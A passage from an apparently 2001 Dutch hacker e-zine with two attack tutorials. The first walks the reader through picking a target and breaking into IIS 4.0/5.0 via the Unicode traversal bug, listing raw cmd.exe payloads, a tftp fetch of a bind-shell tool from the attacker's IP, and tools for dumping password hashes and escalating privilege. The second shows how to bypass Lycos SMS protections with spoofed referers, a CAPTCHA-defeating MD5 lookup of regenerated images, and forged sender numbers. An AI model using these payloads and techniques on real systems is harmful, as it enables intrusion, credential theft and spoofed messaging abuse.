Verdiep je in IPSec:
http://www.openbsd.org/faq/faq13.html
IPSec kan je gebruiken van:
Host to Host
Host to Network
Network to Network
Genoeg.
" In one's life. there are levels in the pursuit of study. In the lowest level,
a person studies but nothing comes of it, and he feels that both he and others
are unskillful. At this point he is worthless. In the middle level he is still
useless but is aware of his own insufficiencies and can also see the insufficiencies
of others. In a higher level he has pride concerning his own ability, rejoices in
praise from others, and laments the lack of ability in his fellows. This man has
worth. In the highest level a man has the look of knowing nothing.
These are the levels in general;. But there is one transcending level, and this
is the most excellent of all. This person is aware of the endlessness of entering
deeply into a certain Way arid never thinks of himself as having finished.
He truly knows his own insufficiencies and never in his whole life thinks
that he has succeeded. He has no thoughts of pride but with self-abasement knows
the Way to the end. It is said that Master Yagyu once remarked, "I do not know
the way to defeat others, but the way to defeat myself. ''
Throughout your life advance daily, becoming more skillful than yesterday,
more skillful than today. This is never-ending. "
-- Hagakure.
pentag0n,.
-------------------------------------------------------
14. Unicode IIS hacking
-------------------------------------------------------
Hieronder een step-by-step omschrijving hoe de meest recentelijke Unicode-hack
toe te passen is. De omschrijving van deze hack is puur theoretisch en niet
gebasseerd op een waar gebeurd verhaal, enige vergelijking met een inbraak op
enig systeem is puur toevallig. De informatie in dit stuk is openlijk
verkrijgbaar op het internet dus de schrijver accepteerd geen enkele
verantwoording voor daden die lezers van dit stuk aanrichten maar is altijd in
voor een sappig verhaal of lofuitingen.
Deze kunnen dan ook worden gemailed naar jbdbiwdijkz@ictbeveiliging.nl
(jbdbiwdijkz = Jij bent de beste, ik wou dat ik jou kon zijn). Flames kunnen
worden gemailed naar ivmbdesmhgek@ictbeveiliging.nl (ivmbdesmhgek = Ik voel me
beter dan een scriptkiddie maar heb geen enkele kennis). Spellingsfouten zijn
volledig te verwijten aan de fouten in de programmatuur hehehehe.
Whoohoe… tot zover de huishoudelijke mededelingen. Nou nog een kleine dan, ik
vind dat er nóg een laag in de hiërarchische structuur van "Hackerland" mag
komen. Ik bedoel iemand die redelijke tot goede kennis heeft op het gebied van
automatisering maar niet zo diep kan gaan als de mensen die de exploits vinden
en daar scripts voor schrijven kun je toch geen "Kiddies" meer noemen, zelfs
niet als ze de scripts gebruiken die worden gepost op diverse sites?? Of wou je
deze mensen nog steeds classifiseren als vandalistische pubers?? Hmm nou, nou?
Bovendien denk ik dat er maar heel weinig mensen zijn die het zogenaamde niveau
"Scriptkiddie" ontstijgen. Reacties naar bovenstaande adressen svp.
Genoeg geluld,………
De hack die we gaan omschrijven is toepasbaar op de Internet Information
Server/Services van Microsoft, versie IIS4.0 en 5.0. Deze hack maakt gebruik van
fouten in de webserver-software. Voor deze fouten zijn patches beschikbaar, lees
er alles over in het Microsoft Security Bulletin ms00-078.
Stap 1,
Zoek een site, bedrijf, organisatie, vereniging, enz.. uit die een site heb op
het Internet. Controleer of deze site wordt gehost op een IIS 4.0 of 5.0
webserver. Voor de echte newbies, op de site van Securityspace
(www.securityspace.com) is een Webprobe waarin je een URL intoets en deze voor
je controleerdt of download Grinder op www.ictbeveiliging.nl/tools om hele
subnetten te scannen, voor de 1337, doe een telnet naar poort 80 en grab de
banner.
Stap 2,
Je heb nu een mogenlijk doelwit voor ogen, je handen beginnen te zweten en je
begint met geknepen ogen naar je beeldscherm te kijken. Nu wil je controleren of
de webserver van je doelwit nog niet gepatched is. Voor de newbie, vul in in je
browser:
http://www.doelwit.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
Voor de 1337, telnet naar 80 en :
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0\r\n\r\n
GET
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe
\?/c\+dir HTTP/1.0\r\n\r\n
Als je nu een soortgelijk resultaat in je scherm krijgt als dat je het commando
dir in je command prompt zou geven heb je een webserver die niet! gepatched of
hardnedd is. Even voor de duidelijkheid, een standaard installatie van
Windows2000 server incl. IIS5.0 + Service Pack 1 en een installatie van Windows
NT incl IIS4.0 + Service Pack 6 is nog steeds Hackeble!! d.m.v. deze techniek.
Stap 3,
Je heb de mogenlijkheid iets te hacken, je hart begint te kloppen, je
adrenalinelevel stijgt naar ongekende hoogtes, what's next? Eventjes afkoelen
vriend (of vriendin). Je bent nu best wel ver maar nu is het tijd om jezelf dit
goed in te prenten JE BENT STRAFBAAR, KEN JE RISICO! Ow kee… je bent er nog, we
gaan verder.
Je kunt nu verschillende dingen doen maar het meest logische zou zijn het
uploaden van verschillende tools naar je doelwit dus gaan wij dat ook doen.
Download een TFTP-server, TFTPD32 is beschikbaar op www.ictbeveiliging.nl/tools
en is gratis te gebruiken. Deze TFTP-server gaan we runnen en configureren in
Settings, Base directories dat deze naar een directory wijst van jouw keuze
bijv: c:\hacktools. In deze directorie zetten we de volgende tools:
Ncx99.exe Dit bindt een commandprompt aan poort 99.
Spcheck.exe Dit kijkt welke service packs en hotfixes op de machine zijn
geinstalleerd.
Pwdump.exe Dit dumpt de passwordhashes.
Sechole.exe Dit geeft je de rechten van het SYSTEM-account (werkt alleen
op NT4.0 + Service Pack 5 en lager).
Regdump.exe Dit dumpt de registry.
Indien je deze tools niet heb zijn ze te downloaden van
www.ictbeveiliging.nl/tools.
Om deze tools te uploaden toets je het volgende in in je browser (als 1 zin):
http://www.doelwit.com/scripts/..%c0%af../
winnt/system32/cmd.exe?/c+tftp
+-i+jouw.eigen.ip.adres+GET+ncx99.exe+c:\\inetpub\\scripts\\ncx99.exe (letop
dubbele backslash)
Je zal dan zien dat je TFTP-server een read request krijgt voor ncx99.exe en
deze dan gaat uploaden. Je kunt als hij klaar is controleren of ncx99.exe er
staat door de volgende URL in je browser in te toetsen:
http://www.doelwit.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\inetp
ub\scripts
Voor de 1337, wat doe je hier nog als je zo 1337 bent ?!?!!!!
Stap 4,
Je bent echt crimineel bezig nu! Ben jij sterker dan drank? Hacken maakt meer
gekken dan lief is. Ow kee.. nadat je ncx99.exe up heb geload wordt het nu tijd
om je remote shell te gaan krijgen. Voor de newbies, een remote shell is een
command prompt die op op jouw scherm zichtbaar is maar op het doelwit draait
(supersimpel uitgelegd) elk commando wat je in dat scherm typt wordt op je
doelwit uitgevoerd. Om het programma ncx99.exe op te starten toets je de
volgende URL in je browser:
http://www.doelwit.com/scripts/ncx99.exe
Zien we een patroon?? Als je nu telnet naar poort 99 zou je het volgende te zien
krijgen:
Voor de newbies, toets op start en typ in run/uitvoeren telnet www.doelwit.com
99 daarna enter.
MicrosoftWindows blah blah
Copyright blah blah
C:\Inetpub\scripts>
Je heb nu een remote shell, als je wat intypt zal je waarschijnlijk niet zien
omdat je local echo moet instellen op telnet. Klik op terminal, preferences en
vink Local echo aan.
Je heb nu een shell onder de rechten van IUSR_MACHINENAAM dus tenzij ze een
slechte rechtenstructuur hanteren kun je nu nog niet veel maar vanaf hier zijn
er genoeg mogenlijkheden om je rechten te escaleren. Dat zal ik later nog wel
eens aan de tekst toevoegen.
Voor mij een goede tijd om maar eens te stoppen met deze tekst. Last words, ik
heb deze tekst geschreven voor de E-zine Hacker4Hackers GOOD JOB GUYS!
(www.hackers4hackers.org). Hiermee bedoel ik niet dat ik de lezers van de E-zine
niet hoger inschat qua kennis ( 8-î.
Updates, aanpassingen, uitbreiding en vervolgdelen van deze tekst zal
beschikbaar komen op www.ictbeveiliging.nl/papers.
Yows twully,
VortexXx
-------------------------------------------------------
15. Lycos sms security kraak
-------------------------------------------------------
Een tijdje geleden werd er door veel mobiele-providers in nederland besloten om
de sms-sendservers van internet te blokkeren. Een van de weinige sms-services
die nog wel werkt is die van Lycos. Op de site van lycos kan gratis sms
verstuurd worden. Deze sms bevat een reclame die bovenaan het bericht komt te
staan bij de ontvanger. Lycos heeft getracht deze sms-service te beveiligen door
middel van een afbeelding (jpeg) waar een getal op staat wat ingevoerd dient te
worden. Tevens is de sms-pagina alleen bereikbaar als men er via een advertentie
die eerst geopend wordt komt.
Er zijn dus drie dingen die lycos heeft bij zijn sms-service:
- reclame
- alleen bereikbaar via goede referer
- beveiliging dmv code
Laat dit artikel nu net over die dingen gaan. Deze drie punten en enkele andere
zullen in dit artikel worden besproken. Als eerste kijken we even naar de
referer (punt 2).
Als we een request willen doen op de lycos server via een script dienen we
rekening te houden met de referer. Dit komt wel vaker voor bij sites en is niet
erg indrukwekkend. Het sniffen van de header is een makkelijke manier om
erachter te komen welke informatie er gestuurd moet worden. Het sniffen van de
lycos header naar de smspagina bracht dit:
---------
GET /channels/mobile/sms/index.html HTTP/1.1
Accept: application/msword, application/vnd.ms-powerpoint, application/vnd.ms-
excel, image/gif, image/pjpeg, */*
Referer: http://www.lycos.nl/channels/mobile/sms/ad2.html
Accept-Language:
rs1_386376a0c3e;q=0.0,rs2_411d5a45300;q=0.0,rs3_485462c6d6;q=0.0
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
Host: www.lycos.nl
Connection: Keep-Alive
Cookie: XP=seen; SMS=Okay; popup=1004636982830
---------
Zoals je ziet is de referer de advertentie-pagina
(http://www.lycos.nl/channels/mobile/sms/ad2.html).
Zetten we dit om in een perlscript request krijgen we dit:
---------
$sock = IO::Socket::INET-
>new(Proto=>"tcp",PeerAddr=>""80");">www.lycos.nl",PeerPort=>"80");
if ($sock){
print $sock "
GET http://www.lycos.nl/channels/mobile/sms/index.html HTTP/1.1
Accept: application/msword, application/vnd.ms-powerpoint, application/vnd.ms-
excel, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://www.lycos.nl/channels/mobile/sms/ad2.html
Accept-Language:
rs1_386376a0c3e;q=0.0,rs2_411d5a45300;q=0.0,rs3_485462c6d6;q=0.0
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
Host: www.lycos.nl
Connection: Keep-Alive
";
---------
De Cookie in de gesnifte header laten we eruit aangezien die niet nodig blijkt.
Als we nu na de request een receive doen dan krijgen we de smspagina binnen.
---------
sleep 3;
recv($sock,$rawdata,200000,0);
close ($sock);
---------
De sleep is om de server wat tijd te geven en ook daadwerkelijk de hele pagina
te ontvangen en niet alleen een gedeelte ervan. De ontvangbuffer is wat aan de
grote kant maar hij kapt hem toch af als de pagina binnen is.
We hebben nu dus de sms-pagina kunnen ontvangen zonder naar de pagina te zijn
gegaan. Niet erg indrukwekkend maar nu hebben we een begin en kunnen we door.
Uit de sms-pagina kunnen we de variabelen halen die nodig zijn om de sms te
versturen.
Na een korte bestudering van de sms-send procedure zien we dat alles gecheckt
wordt op de site zelf in een java script. Het versturen van de sms zelf gebeurd
door een "GET" request naar een cgiscript op een andere server. Het gebruik van
"GET" is enigszins verbazend, maar daar zal lycos wel een reden voor hebben.
Om de preciese header te hebben van het send gebeuren gebruiken we wederom een
sniffer. De header die eruit komt is dan:
---------
GET /nl/cgi-
bin/sms/send_nl_sms6.cgi?prg=1&ticket=52616e646f6d4956fa8d0de912379ed
6eff726a2108e22e1ede9bae16b39b465&msg_nr=12345&gsm=0666031337&msg=tezzt&charslef
t=98&org=0666031337&security=1234&submit.x=53&submit.y=17 HTTP/1.1
Accept: application/msword, application/vnd.ms-powerpoint, application/vnd.ms-
excel, image/gif, image/x-xbitmap, image/jpeg, i
mage/pjpeg, */*
Referer: http://www.lycos.nl/channels/mobile/sms/index.html
Accept-Language:
rs1_386376a0c3e;q=0.0,rs2_411d5a45300;q=0.0,rs3_485462c6d6;q=0.0
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
Host: smscgi.lycos.de
Connection: Keep-Alive
---------
Zoals je ziet, zien we de referer weer die we moeten gebruiken, en de variabelen
die het cgiscript wil hebben. Deze variablen op een rij zijn:
"prg, ticket, msg_nr, gsm, msg, charsleft, org, security, submit.x, submit.y"
De variablen:
"prg, ticket, msg_nr, submit.x, submit.y"
kunnen uit de source van de sendpagina gehaald worden.
De variablen:
"gsm, msg, org"
dienen zelf ingevuld te worden. "gsm" is namelijk het nummer waar je naartoe
stuurt. "msg" is de msg die je stuurt en "org" is het nummer waar je sms vandaan
stuurt, je eigen nummer dus.
Dan houden we nog "charsleft" en "security" over. "charsleft" kan worden
berekent door het aantal characters dat je msg bevat af te halen van de
"charsleft" die je in de source van de sendpagina mee krijgt. Hier verderop in
het artikel meer over.
Hetgeen waar we ons nu mee bezig gaan houden is de security.
Op de sms-send pagina van Lycos staat dus een jpeg met een getal erop. In de
source van de sendpagina kunnen we die url terug vinden. Deze url is als volgt:
"http://smscgi.lycos.de/service/smsblow.pl?ticket=52616e646f6d49565d8ffa9dba8b12
3ebb6dcb2e6ea623d1a59715a3cb74437e"
Hieruit kunnen we halen dat deze plaatjes dus op een duitse lycos server staan
(smscgi.lycos.de). Het ticket wat mee wordt gegeven is hetzelfde als wij later
mee zullen sturen naar de smsserver. Het script wat aan wordt geroepen
(smsblow.pl) lijkt op een blowfishencryptie script, dat zou ook het lange getal
in de ticket ook verklaren.
Elke keer als er een request wordt gedaan naar de smspagina krijg je dus een
random getal. In de vorm van een jpeg dus. Het zou voor een sms-send script een
stuk makkelijker zijn om niet steeds zelf dat getal in te hoeven typen, maar dat
het script dus zelf het plaatje zou kunnen lezen. Uit enig onderzoek zal blijken
dat de "tickets" elke keer zullen verschillen. Het idee om dus alle tickets in
een database te zetten met daarbij de getallen gaat niet op. Plus dat dan alle
getallen alsnog met de hand een keer ingevoerd dienen te worden. Een ander idee
is om de afbeeldingen proberen te laten lezen via OCR text herkenning. Maar
laten we de plaatjes eerst eens zelf bekijken.
Door de plaatjes te downloaden met bijvoorbeeld wget ( wget
http://smscgi.lycos.de/service/smsblow.pl?ticket=52616e646f6d49565d8ffa9dba8b123
ebb6dcb2e6ea623d1a59715a3cb74437e -O jpeg ) En vervolgens de source van het
plaatje te bekijken. Dan zien we dat de eerste regel bestaat uit:
ÿØÿàJFIFÿþ;CREATOR: gd-jpeg v2.0 (using IJG JPEG v62), quality = 25
oftewel:
JFIF;CREATOR: gd-jpeg v2.0 (using IJG JPEG v62), quality = 25
Na enig onderzoek hierna blijkt GD een programma te zijn om plaatjes te
genereren. Iets meer onderzoek laat zien dat er ook een GD.pm is. Een module
voor perl die plaatjes genereerd. Van deze module is de laatste versie gebruikt
om deze plaatjes te genereren. Eerdere versies gebruikte .gif als extentie, maar
vanwege de rechten van gif plaatjes zijn ze over gestapt op .jpeg plaatjes.
De GD.pm module is snel geleerd door de handleiding te lezen (perldoc GD.pm) en
na enig oefenen is het namaken van de plaatjes van lycos een feit. Hieronder de
regels die gebruikt worden voor de lycos jpegs, de # comments geven uitleg
erbij.
-------
use GD;
# het gebruikmaken van de GD module
$im = new GD::Image(50,20);
# een nieuwe image creeren met het formaat 50 bij 20
$grey = $im->colorAllocate(100,100,100);
# de grijse kleur instellen van de achtergrond
$white = $im->colorAllocate(255,255,255);
# de witte kleur instellen van de letters
$im->fill(5,5,$grey);
# de achtergrond grijs maken
$im->string(gdLargeFont,10,2,"0000",$white);
# De witte letters in het plaatje zetten, 0000 is ons getal
-------
Als we deze module dan de jpeg laten maken ziet hij er veel te netjes uit
vergeleken met de lycos jpeg's. De oplossing hiervoor is om de jpeg op een
mindere kwaliteit op te slaan. Uit de file konden we halen dat er achter quality
"25" stond. Dus gaan we de jpeg op quality 25 zetten. Dit door de volgende
regel:
-------
print FILE $im->jpeg(25);
-------
Als we ons plaatje nu bekijken en vergelijken met de lycos plaatjes blijken ze
precies hetzelfde te zijn. We kunnen dus alle 10000 plaatjes van lycos zelf
namaken. Maar wat is het nut daarvan? We zouden ze allemaal in een grote
database kunnen zetten om vervolgens het ons toegewezen plaatje ermee te
vergelijken. Maar dat zou een erg grote database worden plus dat ze niet erg
makkelijk te vergelijken zouden zijn. Zou het slim zijn om te kijken waar de
verschillen zitten in al die 10000 files? Dat zou ook teveel werk zijn. We
moeten dus een betere manier verzinnen om al die 10000 files mooi in een
database te krijgen en die makkelijk vergelijkbaar te maken.
Aangezien onze zelf gegenereerde plaatjes precies hetzelfde zijn als de plaatjes
van lycos moeten we daar toch iets mee kunnen. De oplossing die ik hiervoor heb
bedacht is om van elk plaatje een MD5 (hex) hash te maken. Dit is met een
perlscript zo opgelost en binnen een paar minuten heb je alle 10000 plaatjes
netjes met hun hash in een database staan.
Hetgeen ons dan nog rest is om vanuit ons eigen script die database aan te
roepen. Iets wat geen moeite meer is. Na het vergelijken met het ons
toegestuurde plaatje blijkt dat uit de database perfect het nummer wat erbij
hoort valt te halen. Je zou nu dus kunnen zeggen dat de security van lycos zijn
sms-pagina gekraakt is.
Wat hebben we nu? We kunnen nu zelf met een eigen script smsjes versturen via de
server van lycos waarbij we geen last meer hebben van de jpeg controle.
We kunnen dit nog enigzins uitbreiden, doordat de lycossite alleen de variablen
checkt op de site zelf, kunnen we zelf de afzender bepalen. Dat kon natuurlijk
al, maar we zijn niet gebonden meer aan cijfers. Ook letters zijn mogelijk om te
sturen.
We kunnen dus sms versturen, zonder de site, met als afzender wat we maar
willen. Dan lijken we klaar, maar nee, we zitten nog met 1 ding. De reclame die
lycos elke keer meestuurt als je een sms naar iemand stuurt. De reclame die wel
eens op kan lopen tot 3 regels. Waardoor je soms meer reclame stuurt dan sms.
Daar gaan we wat aan doen, maar hoe?
Uit de source van de pagina krijgen we mee hoeveel letters we mogen sturen
(charsleft). Wederom wordt er op de site gecheckt hoeveel characters dat zijn.
Dit zijn meestal 103 characters, maar ons script maakt geen gebruik van de site.
Dus wat gebeurd er als we eens 130 letters ofzo sturen. Of zelfs zoveel als er
in een sms passen, 160 characters dus. Het blijkt dat als naar de lycos
smsserver 160 characters verstuurd worden dat de smsserver geen plaats meer ziet
voor de reclame en deze dus achterwege laat. Om niet steeds zelf elke sms vol te
hoeven schrijven kan in een script worden gezet dat de rest van de sms vol wordt
gezet met "+". Het script van lycos maakt gebruik van de "+" als spatie. Dit
wordt in het script omgezet, en dus gezien als characters.
Een nieuwe opsomming van wat we dus voor elkaar hebben is dat we sms kunnen
verzenden via de lycosserver, zonder reclame, met als afzender wie we maar
willen, bestaand uit 160 characters. Dat is toch aardig wat. Aangezien de lycos
sms server een van de weinige servers is die nog toegestaan worden door de
nederlandse providers.
Zodra dit artikel uit komt hoop ik dat lycos deze fouten gefixed heeft. Ze
zullen dit artikel ook eerder ontvangen dan dat het uitgebracht wordt. Dit
artikel is ook alleen bedoelt voor educatieve doeleinden en niet als manier om
misbruik te maken van de smservers van lycos....
N|ghtHawk, 2001
nighthawk@hackers4hackers.org
tnx to: Wim, Inz, Scorpster, Asby, ZandbakCrew, BSFH